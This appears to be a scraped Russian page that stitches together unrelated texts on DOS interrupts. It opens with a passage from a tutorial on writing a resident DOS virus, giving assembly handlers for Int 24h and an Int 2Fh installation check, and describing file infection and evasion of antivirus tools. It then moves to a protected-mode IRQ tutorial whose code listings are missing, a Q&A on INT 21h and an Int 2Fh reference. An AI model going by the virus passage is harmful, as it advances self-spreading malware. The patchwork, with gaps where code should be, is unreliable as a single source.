Помимо решения своей конкретной задачи, написанный нами обработчик используется для перехвата прерывания Int 24h.Делается это прямым обращением к таблице векторов прерываний. Так же перехватывает прерывания и секция инициализации при установке вируса в память. Правда, вы можете спросить, зачем потребовалась такая сложная методика перехвата, и почему бы не выполнить его в секции инициализации? Дело в том, что такой прием будет «работать» только в MS DOS. WINDOWS 95, например, постоянно восстанавливает вектор Int 24h, что делает бессмысленным изменение вектора » только один раз «. Трудно сказать, зачем в WINDOWS 95 принято восстанавливать вектор. Вероятно, это сделано для надежности работы системы. При создании резидентного EXE-вируса мы поговорим еще об одной » странности » этой популярной операционной системы, которая помешает нам сделать вирусную программу «невидимой» для антивирусных средств.

Обработчик Int 24h

Этот обработчик должен устанавливать собственную реакцию на критическую ошибку. Вызывается он очень редко, поэтому просто сделаем так,чтобы при появлении ошибки не происходило » зависание «. Для этого достаточно вернуть управление прерванной программе, поместив предварительно в регистр AL код «3»:


;————————————————- to_new_24h equ $ — vir new_24h: mov al,3 ;Вернем програм- iret ;ме управление

Обработчик Int 2Fh

Напишем обработчик Int 2Fh. Мы договорились использовать это прерывание для проверки наличия вируса в памяти. Напомним, что секция инициализации для решения указанной задачи вызывает Int 2Fh c такими параметрами:

AX = 0F000h BX = 01997h.

Если вирус уже инсталлирован в память, его обработчик должен вернуть AL = 0FFh, это значение и анализирует секция инициализации при запуске зараженшой программы. Исходя из всего сказанного, можно написать такой фрагмент:

;————————————————- to_new_2fh equ $ — vir new_2fh: pushf cmp ax,0f000h jne cs:not_our cmp bx,1997h jne cs:not_our mov al,0ffh popf iret not_our: popf db 0eah old_2fh dw 0 old_2fh_2 dw 0

Если вызывается прерывание Int 2Fh с параметрами, отличными от AX = 0F000h и BX = 01997h, вирусный обработчик просто возвращает управление системному. В противном случае управление передается прерванной программе, причем в этом случае AL будет равно 0FFh.

Обработчик Int 28h

Строго говоря, мы его уже написали (см. п. 2.5, п. 2.6 и т.д.). Именно он занимается поиском и заражением файлов,пользуясь для этого функциями DOS. Но так как эти функции используются тогда, когда активно прерывание Int 28h, ничего страшного произойти не должно.

Область данных вируса

Теперь мы можем привести все данные, с которыми работает наш вирус:

Последнее изменение этой страницы: 2020-07-16; Нарушение авторского права страницы

Недокументированные возможности ms dos альтернативный обработчик прерывания int 21h

Глава 8. Обработчики аппаратных прерываний.

Обработка аппаратных прерываний значительно отличается в различных ОС, поэтому имеет смысл давать лишь общие рекомендации. Более серьёзно к этому вопросу мы подойдём после того, как изучим мультизадачность и виртуальную память, а пока при реализации обработчиков аппаратных прерываний придерживайтесь следующего:

1. Не используйте в IDT шлюзы ловушек, а только прерываний, т.к. при переходе через шлюз прерывания процессор автоматически запрещает маскируемые прерывания (сбрасывая флаг IF в EFLAGS), но не делает этого для шлюза ловушки.
2. В начале обработки прерывания посылайте в контроллер 8259A команду конца прерывания (EOI). Контроллер состоит из двух контроллеров master и slave. Master обслуживает первые 8 IRQ, slave — вторые и для них посылка EOI будет выглядеть так:
  • для master (IRQ 0..7)
  • для slave (IRQ 8..15)
  • 3. Постарайтесь сделать обработку прерывания как можно быстрее, т.к. процессор не допустит генерации нового прерывания, пока не будет завершён обработчик.
    4. При перенаправлении прерываний процедура «redirect_IRQ» запрещает контроллеру генерацию аппаратных прерываний. Значения в портах 21h и A1h содержат флаги маскировки прерываний для master- и slave-контроллера соответственно.
    Для того, чтобы разрешить какое-либо прерывание, нужно сбросить соответствующий бит, а для запрещения — установить.
    Прерывания master:
    Бит IRQ Устройство
    0 0 Таймер
    1 1 Клавиатура
    2 2 Каскад (подключён ко второму контроллеру)
    3 3 COM 2/4
    4 4 COM 1/3
    5 5 LPT 2
    6 6 Контроллер дисковода FDC (Floppy Drive Controller)
    7 7 LPT 1
    Прерывания slave:
    Бит IRQ Устройство
    0 8 Часы реального времени RTC (Real Time Clock)
    1 9 Редирект с IRQ 2
    2 10 Резерв (т.е. не имеет устройства по умолчанию)
    3 11 Резерв (т.е. не имеет устройства по умолчанию)
    4 12 Резерв (т.е. не имеет устройства по умолчанию)
    5 13 Исключение сопроцессора
    6 14 Контроллер винчестера HDC (Hard Drive Controller)
    7 15 Резерв (т.е. не имеет устройства по умолчанию)

    Например, для разрешения прерывания таймера нужно выполнить следующее:

    Как правило, операционная система защищённого режима подразумевает возврат в режим реальных адресов и выход в ту ОС, из которой её запускали (например, в MS-DOS). В таком случае необходимо предусмотреть правильное маскирование прерываний IRQ перед возвратом в такую ОС, так как обычно не все прерывания разрешены.
    Начиная со следующего примера в начале будет использоваться процедура, сохраняющая маску прерываний IRQ:

    Для корректного возврата в режим реальных адресов нужно изменить одну команду в процедуре перенаправления векторов IRQ для R-Mode:

    Теперь, казалось бы, наш пример должен правильно работать, но MS-DOS приготовил один неприятный «подводный камень». Дело в том, что при повторном запуске нашего примера, при условии, что в нём выполняются какие-либо процессы, длительностью более, чем примерно 2 секунды, контроллер клавиатуры генерирует символ. Если не обработать его должным образом, то клавиатура будет заблокирована, поэтому во всех наших примерах предлагается следующее:

    1. Обязательно размаскировывать прерывание клавиатуры (IRQ 1).
    2. Обязательно разрешать прерывания на время выполнения части программы, работающей в защищённом режиме.
    3. Установить обработчик IRQ клавиатуры или хотя бы следующую заглушку:

    Как видите, установка обработчика IRQ клавиатуры свелась к простой замене определяющего его макроса «IRQ_1_handler».

    А теперь вашему вниманию предлагается демонстрация обработки прерываний по таймеру. В приведенном ниже примере внесены следующие изменения (по сравнению с предыдущим и с учётом всего, сказанного выше):

    1. Введена переменная «timer_count», в которой накапливаются «тики» таймера и ещё одна переменная — «timer_sec» — счётчик секунд. После каждого 18-го «тика» счётчик секунд увеличивается на 1. В качестве часов данный пример не совсем годится, т.к. за одну секунду таймер выдаёт около 18.2 «тиков» (если его дополнительно не программировать), а данный пример предназначен в качестве иллюстрации обработки IRQ и поэтому подсчёт времени здесь упрощённый.
    2. Макрос «IRQ_0_handler» изменён — он считает «тики» таймера. Теперь это не заглушка, а Обработчик Прерывания.
    3. Перед тем, как в программе будут разрешены прерывания (командой STI), размаскировывается IRQ 0 (а так же и IRQ 1, для корректной обработки контроллера клавиатуры).
    4. В программе приводится простой алгоритм, в котором на экран выводится dd-число, которое в бесконечном цикле увеличивается на 1. При это постоянно проверяется содержимое переменной «timer_count» и:
  • сбрасывается в 0, как только она превышает 18,
  • при этом увеличивается на 1 переменная «timer_sec»
  • и как только она превысит значение 4, производится возврат в R-Mode.
  • Вот так теперь выглядит обработчик IRQ 0:

    Как видите, всё что он делает — это посылает контроллеру прерываний команду конца прерывания (EOI) и увеличивает значение «timer_count» на 1. И всё! Так просто!
    На самом деле, когда вы будете писать свою ОС, то, скорее всего, добавите в обработчик IRQ 0 функции подсчёта времени, даты и ещё что-нибудь важное, но даже в таком виде он будет корректно работать.

    А вот так в примере разрешены прерывания и реализован алгоритм подсчёта и вывода времени:

    Осталось добавить, что этот пример, как и предыдущий, правильно реагирует на исключения — выводит его номер, параметры и возвращается в R-Mode, так что можете смело экспериментировать — компьютер не зависнет.

    Исходный текст примера вы можете скачать здесь: examp_6.asm, pmode_6.lib и examp_6.com в архиве examp_6.zip (9594 байт).

    Что такое INT 21h?

    Вдохновленный этим вопросом

    Я думал о INT 21h как о концепции. Теперь у меня есть очень ржавые знания о внутренностях, но не так много деталей. Я помню, что в C64 у вас были обычные прерывания и немаскируемые прерывания, но мои знания здесь останавливаются. Не могли бы вы дать мне несколько подсказок? Это стратегия, связанная с DOS?

    От здесь: Многоцелевое прерывание DOS, используемое для различных функций, включая чтение клавиатуры и запись на консоль и принтер. Он также использовался для чтения и записи дисков с использованием более раннего метода управления файловым блоком (FCB).

    DOS можно рассматривать как библиотеку, используемую для предоставления абстракции файлов/каталогов для ПК (и немного больше). int 21h — простой аппаратный «трюк», который позволяет легко вызвать код из этой библиотеки, не зная заранее, где он будет находиться в памяти. Альтернативно, вы можете думать об этом как о способе использования DOS API.

    Теперь тема программных прерываний является сложной, отчасти потому, что концепции эволюционировали со временем, поскольку Intel добавила функции в семейство x86, пытаясь оставаться совместимой со старым программным обеспечением. Правильное объяснение займет несколько страниц, но я постараюсь быть кратким.

    Основной вопрос заключается в том, находитесь ли вы в режиме реального режима или .

    Реальный режим — это простой, «оригинальный» режим работы для процессора x86. Это режим, в котором работает DOS (когда вы запускаете DOS-программы под Windows, виртуализируется процессор реального режима, поэтому в нем применяются те же правила). Текущая программа имеет полный контроль над процессором.

    В реальном режиме есть векторная таблица, которая сообщает процессору, к которому обращается адрес для каждого прерывания от 0 до 255. Эта таблица заполняется BIOS и DOS, а также драйверами устройств, а иногда и программами со специальными необходимо. Некоторые из этих прерываний могут быть сгенерированы аппаратными средствами (например, с помощью нажатия клавиши). Другие генерируются определенными условиями программного обеспечения (например, деление на 0). Любой из них может быть сгенерирован с помощью команды int n .

    Программы могут устанавливать/очищать флаг «enable interrupts»; этот флаг влияет только на аппаратные прерывания и не влияет на инструкции int .

    Разработчики DOS решили использовать номер прерывания 21h для обработки запросов DOS — номер не имеет никакого реального значения: это была просто неиспользуемая запись в то время. Есть много других (например, 10h — это процедура прерывания BIOS, которая имеет дело с графикой, например). Также обратите внимание, что все это только для совместимости с IBM PC. x86-процессоры, например, встроенные системы, могут иметь свое программное обеспечение и таблицы прерываний, расположенные совсем по-другому!

    Защищенный режим — это комплексный, «безопасный» режим, который был введен в процессор 286 и значительно расширен на 386. Он предоставляет несколько уровней привилегий. ОС должна настроить все это (и если ОС ошибается, у вас есть потенциальный эксплойт безопасности). Пользовательские программы обычно ограничиваются режимом работы с минимальными привилегиями, при попытке доступа к аппаратным портам или изменением флага прерывания или доступом к определенным областям памяти, останавливает программу и позволяет ОС решать, что делать (если она завершается программа или дать программе то, что она хочет).

    Обработка прерываний становится более сложной. Достаточно сказать, что в общем случае, если программа пользователя выполняет программное прерывание, номер прерывания не используется в качестве вектора в таблице прерываний. Скорее генерируется общее исключение защиты, и обработчик ОС для указанного исключения может (если ОС такой дизайн) выработать то, что хочет процесс, и обслуживать запрос. Я уверен, что Linux и Windows в прошлом (если не в настоящее время) использовали этот механизм для своих системных вызовов. Но есть и другие способы достижения этой цели, такие как инструкция SYSENTER.

    Недокументированные возможности ms dos альтернативный обработчик прерывания int 21h

    Это прерывание спроектированно как интерфейс для резидентных программ. Логика работы следующая:
    В регистре AH задаётся номер резидентной программы
    В регистре AL задаётся номер вызываемой функции
    При этом функция 0 должна быть функцией проверки наличия резидентной программы. Эта функция должно вернуть код статуса в AL. Известны следующие коды статуса:
    AL == 0 — этот номер резидентной программы свободен
    AL == 1 — этот номер резидентной программы зарезервирован
    AL == FFh — этот номер резидентной программы занят (можно обращаться к другим функциям)

    Способ добавить свою программу в это прерывание очень прост: надо сохранить старый вектор прерывания, затем записать свой. При вызове прерывание перво-наперво необходимо проверить, что переданный код резидентной программы соответствует вашей программе. Если не соответствует — переходим на старый обработчик прерывания (инструкцией jmp!).
    Перед добавлением программы стоит удостоверится что выбранный вами номер резидентной программы ещё не занят и не зарезервирован.
    В идеале — необходимо провести перебор по номеру резидентной программы и найти свободный, однако большинство программ имеют жёстко заданный номер.
    Кроме того, существует следующее соглашение о номерах:
    00h-3Fh Зарезервированно IBM для функций DOS
    40h-7Fh Зарезервированно Microsoft для функций DOS
    80h-B7h Зарезервированно IBM
    B8h-BFh Зарезервированно для работы с сетью
    C0h-FFh Для прочих приложений
    (слово «зарезервированнно» в этом списке никак не соотносится со словом «зарезервированно» в списке возможных возвращаемых значений функции 0)
    Если ваш процесс использует сервис DOS, или выполняется с незамаскированными прерываниями, то он должен быть реентерабельным.

    Кроме того, прерывание 2F стало мультиплексным только в DOS 3.0, в DOS 2.0 оно служило для сервиса печати, и имело несовместимый с более новой версией интерфейс. Более ранние версии DOS никак не определяли это прерывание.

    Оглавление

    API Печати для DOS 3.0+

    Резидентная часть команды PRINT
    В AH передаётся 1

    AL подфункция
    Проверит наличие

    Выход:
    AL == 00h => не установлен, можно устанавливать
    AL == 01h => не установлен, нельзя устанавливать
    AL == FFh => установлен

    Примечание:
    Novell DOS версии 7 обнуляет регистр AH

    1 Добавить файл в очередь печати

    Вход:
    DS:DX => направляемый пакет
    Байт 0 -уровень (всегда 0 для DOS 3.0, 3.1 и 3.2)
    Байты 1-2 — адрес (смещение,сегмент) строки ASCIIZ, содержащей полный путь к файлу, направляемого в очередь печати

    Выход:
    Если установлен флаг CF, то произошла ошибка, и AX содержит код ошибки

    2 Удалить файл из очереди печати

    Вход:
    DS:DX — адрес (смещение,сегмент) строки ASCIIZ, содержащей полный путь к файлу, направляемого в очередь печати

    Выход:
    Если установлен флаг CF, то произошла ошибка, и AX содержит код ошибки

    3 Очистить очередь печати

    Выход:
    Если установлен флаг CF, то произошла ошибка, и AX содержит код ошибки

    4 Приостановить печать и получить статус

    Выход:
    DX — количество возникших ошибок с последнего вызова этой функции
    DS:SI — очередь печати
    Если установлен флаг CF, то произошла ошибка, и AX содержит код ошибки

    Примечание:
    Очередь печати представляет из себя массив строк, каждая из которых имеет длинну 64 байта и содержит полный путь к печатаемому файлу
    Первая запись в масииве — файл, который печатается сейчас. Признаком конца массива является пустая запись.

    5 Продолжить печать

    Выход:
    Если установлен флаг CF, то произошла ошибка, и AX содержит код ошибки
    Эта функция вызывается для возобновления печати после выполнения функции 4

    6 Узнать состояние принтера DOS 3.3+

    Выход:
    Если флаг CF установлен:
    В очереди печати есть файлы
    AX — код ошибки
    DS:SI — указатель на заголовок драйвера устройства
    Если флаг CF установлен:
    Очередь печати пуста
    AX=0

    Коды ошибок API Печати для DOS 3.0+

    Код Значение
    01 Невеврный номер функции
    02 Файл не найден
    03 Путь не найден
    04 Нет доступного HANDLE (слишком много открытых файлов
    05 Ошибка доступа
    06 Неверный HANDLE
    08 Очередь переполнена
    09 Программа печати занята
    0Ch Полный путь к файлу слишком длинный
    0Fh Неверный диск

    Строка сообщения об ошибке DOS 3.0+

    В AH передаётся 5
    Задание собственного обработчика для этого сервиса позволяет переопределить стандартные сообщения об ошибках

    Вход:
    DOS 3.x
    AL — Расширенный код ошибки
    DOS 4.0+
    AL — тип ошибки
    = 1 — расширенный код ошибки
    = 2 — ошибка параметра
    BX — Код ошибки

    Выход:
    ES:DI — указатель на сообщение об ошибке
    AL :
    = 0 — необходимо подставить в сообщение параметры (к примеру, имя диска)
    = 1 — Сообщения можно выводить сразу
    Если произошла ошибка, то установлен флаг CF

    Примечание:
    Если в AL переданн 0 то функция работает как обычная функция проверки наличия резидентной программы, при этом в BX может содержаться мусор,а флаг CF будет сброшен.
    При неудачном выполнении функцции могут быть разрушены значения в регистрах AX,ES,DI а так же изменены значения других флагов

    Резидентная часть комманды ASSIGN DOS 3.0+

    В AH передаётся 6
    В некоторых источниках утверждается, что команда ASSIGN имеет номер 2, однако RBIL утверждает, что по номеру 2 располагается PC LAN Program.

    AL подфункция
    Проверить наличие

    Выход:
    AL == 00h => не установлен, можно устанавливать
    AL == 01h => не установлен, нельзя устанавливать
    AL == FFh => установлен

    1 Получить состояние

    Выход:
    ES — сегмент, в котором сохранено состояние сервиса ASSIGN По адресу ES:103h расположена 26-байтная таблица, в которой записано какой диск соответствует каждой букве диска. К примеру, если по адресу ES:103h записанно 1, то букве диска A: соответствует диск 1, а если по адресу ES:11Ch записанно 83h, то букве даска Z: соответствует диск 83h.

    Резидентная часть драйвера DEVICE.SYS

    В AH передаётся 08h

    AL подфункция
    Проверить наличие

    Выход:
    AL == 00h => не установлен, можно устанавливать
    AL == 01h => не установлен, нельзя устанавливать
    AL == FFh => установлен

    1 Добавить блочное устройство

    Выход:
    AX, BX, SI и ES разрушенны.

    Примечание:
    Эта функция добавляет переданную таблицу в список известных системе блочных устройств.

    2 Выполнить запрос к драйверу устройства

    Выход:
    В стеке оставленно лишнее слово.

    Примечание:
    DOS 3.2 выполняет эту функцию при AL от 2 до F7h, в DOS 4+ для AL=3 определена другая функция.

    3 Получить таблицы параметров устройств DOS 4+

    Выход:
    DS:SI — первая таблица в списке.

    Таблица параметров устройств
    Версия для DOS 3.30

    Смещение Размер Описание
    00h DWORD Указатель на следующую таблицу (либо 0xFFFFh, если это последняя таблица)
    04h BYTE Номер устройства BIOS
    05h BYTE Номер устройства DOS (0 = A: ; 1 = B: ; . )
    06h 19*BYTE BPB (cм. функцию 53h прерывания 21h)
    19h BYTE Флаги :
    Бит 6 — если установлен, то используется FAT16, иначе — FAT12
    Остальные биты не определены
    1Ah WORD Счётчик ссылок на диск
    1Ch 11*BYTE Имя диска или «NO NAME «, если оно не заданно.
    Для несъёмных дисков всегда «NO NAME «
    27h BYTE Ноль
    28h BYTE Тип устройства (см. функцию 44h подфункцию 0Dh прерывания 21h)
    29h WORD Флаги:
    Бит 0 — если установлен, то это несъёмный диск
    Бит 1 — имеется сигнал смены носителя
    Бит 2 — текущий BPB залочен
    Бит 3 — все сектора на треке имеют одинаковый размер
    Бит 4 — Физучиское устройство имеет несколько логических устройств
    Бит 5 — current logical drive for shared physical drive (Что бы это означало?)
    Бит 6 — Обнаружена смена диска
    Бит 7 — Параметры устройства изменились (см. функцию 44h подфункцию 0Dh прерывания 21h)
    Бит 8 — Диск был отфрматирован (BPB изменилась)
    Бит 9 — флаг доступа (см. функцию 44h подфункцию 0Dh прерывания 21h)
    Остальные биты не определенны
    2Bh WORD Кол-во цилиндров
    2Dh 19*BYTE BPB для носителя с максимальной поддерживаемой ёмкостью
    40h 3*BYTE Неизвестно
    43h 9*BYTE Неизвестно (на MS-DOS 3.30 для несъёмных дисков записанно «NO NAME «, в остальных случаях — нули)
    4Ch BYTE Последний считанный байт.
    4Dh DWORD Для дисков со съёмным носителем:
    Время последнего обращения к диску (0xFFFFFFFF если никогда)

    Для несъёмных дисков:
    Cлово по смещению 4Dh: — тип раздела (1 для расширенного и 0xFFFF для основного)
    Слово со смещению 4Fh: — номер цилинлра, на котором начинается раздел

    Версия для DOS 4+

    Смещение Размер Описание
    00h DWORD Указатель на следующую таблицу (либо 0xFFFFh, если это последняя таблица)
    04h BYTE Номер устройства BIOS
    05h BYTE Номер устройства DOS (0 = A: ; 1 = B: ; . )
    06h 25*BYTE BPB (cм. функцию 53h прерывания 21h)
    1Fh BYTE Флаги :
    Бит 6 — если установлен, то используется FAT16, иначе — FAT12
    Бит 7 — неподдерживаемый диск (если установлен, то любая попытка дуступа приведёт к ошибке «Устройство не готово»)
    Остальные биты не определены
    20h WORD Счётчик ссылок на диск
    22h BYTE Тип устройства (см. функцию 44h подфункцию 0Dh прерывания 21h)
    23h WORD Флаги:
    Бит 0 — если установлен, то это несъёмный диск
    Бит 1 — имеется сигнал смены носителя
    Бит 2 — текущий BPB залочен
    Бит 3 — все сектора на треке имеют одинаковый размер
    Бит 4 — Физучиское устройство имеет несколько логических устройств
    Бит 5 — current logical drive for shared physical drive (Что бы это означало?)
    Бит 6 — Обнаружена смена диска
    Бит 7 — Параметры устройства изменились (см. функцию 44h подфункцию 0Dh прерывания 21h)
    Бит 8 — Диск был отфрматирован (BPB изменилась)
    Бит 9 — флаг доступа (см. функцию 44h подфункцию 0Dh прерывания 21h)
    Остальные биты не определенны
    25h WORD Кол-во цилиндров
    27h 25*BYTE BPB для носителя с максимальной поддерживаемой ёмкостью
    40h 6*BYTE Резерв
    46h BYTE Номер последнего считанного трека
    47h DWORD Для дисков со съёмным носителем:
    Время последнего обращения к диску (0xFFFFFFFF если никогда)

    Для несъёмных дисков:
    Cлово по смещению 4Dh: — тип раздела (1 для расширенного и 0xFFFF для основного). Для DOS 5+ всегда 1.
    Слово со смещению 4Fh: — номер цилинлра, на котором начинается раздел (в DOS 4.0 для основного рзадела FFFFh)

    4Bh 11*BYTE Имя диска или «NO NAME «, если оно не заданно.
    56h BYTE Ноль
    57h DWORD Серийный номер
    5Bh 8*BYTE Файловая система, обычно «FAT16 » или «FAT12 «
    63h BYTE Ноль

    Версия для COMPAQ DOS 3.31

    Смещение Размер Описание
    00h DWORD Указатель на следующую таблицу (либо 0xFFFFh, если это последняя таблица)
    04h BYTE Номер устройства BIOS
    05h BYTE Номер устройства DOS (0 = A: ; 1 = B: ; . )
    06h 25*BYTE BPB (cм. функцию 53h прерывания 21h)
    1Fh 6*BYTE Резерв
    25h BYTE Флаги :
    Бит 5 — предположительно, большой раздел
    Бит 6 — если установлен, то используется FAT16, иначе — FAT12
    Остальные биты не определены
    26h WORD Предположительно, счётчик ссылок на диск
    28h 11*BYTE Имя диска или «NO NAME «, если оно не заданно.
    Для несъёмных дисков всегда «NO NAME «
    33h BYTE Ноль
    34h BYTE Тип устройства (см. функцию 44h подфункцию 0Dh прерывания 21h)
    35h WORD Флаги:
    Бит 0 — если установлен, то это несъёмный диск
    Бит 1 — имеется сигнал смены носителя
    Бит 2 — текущий BPB залочен
    Бит 3 — все сектора на треке имеют одинаковый размер
    Бит 4 — Физучиское устройство имеет несколько логических устройств
    Бит 5 — current logical drive for shared physical drive (Что бы это означало?)
    Бит 6 — Обнаружена смена диска
    Бит 7 — Параметры устройства изменились (см. функцию 44h подфункцию 0Dh прерывания 21h)
    Бит 8 — Диск был отфрматирован (BPB изменилась)
    Бит 9 — флаг доступа (см. функцию 44h подфункцию 0Dh прерывания 21h)
    Остальные биты не определенны
    37h WORD Кол-во цилиндров
    39h 25*BYTE BPB для носителя с максимальной поддерживаемой ёмкостью
    52h 6*BYTE Резерв
    58h BYTE Последний считанный байт.
    59h DWORD Для дисков со съёмным носителем:
    Время последнего обращения к диску (0xFFFFFFFF если никогда)

    Для несъёмных дисков:
    Cлово по смещению 4Dh: — тип раздела (1 для расширенного и 0xFFFF для основного)
    Слово со смещению 4Fh: — номер цилинлра, на котором начинается раздел

    Резидентная часть комманды SHARE DOS 3.0+

    В AH передаётся 10h

    Выход:
    AL == 00h => не установлен, можно устанавливать
    AL == 01h => не установлен, нельзя устанавливать
    AL == FFh => установлен

    Примечание:
    В DOS 3 при передачи в AL чего-либо отличного от нуля начинается бесконечный цикл. DOS 4, кроме нуля допускает ещё несколько значний, а во всех иных случаях всё так же впадает в цикл.
    В DR DOS 5 , DR PalmDOS и Novell DOS 7 эта комнда не всегда корректно передаёт значение дальше по цепочке обработчиков.

    Илон Маск рекомендует:  Iis определение адресов по именам
    Понравилась статья? Поделиться с друзьями:
    Кодинг, CSS и SQL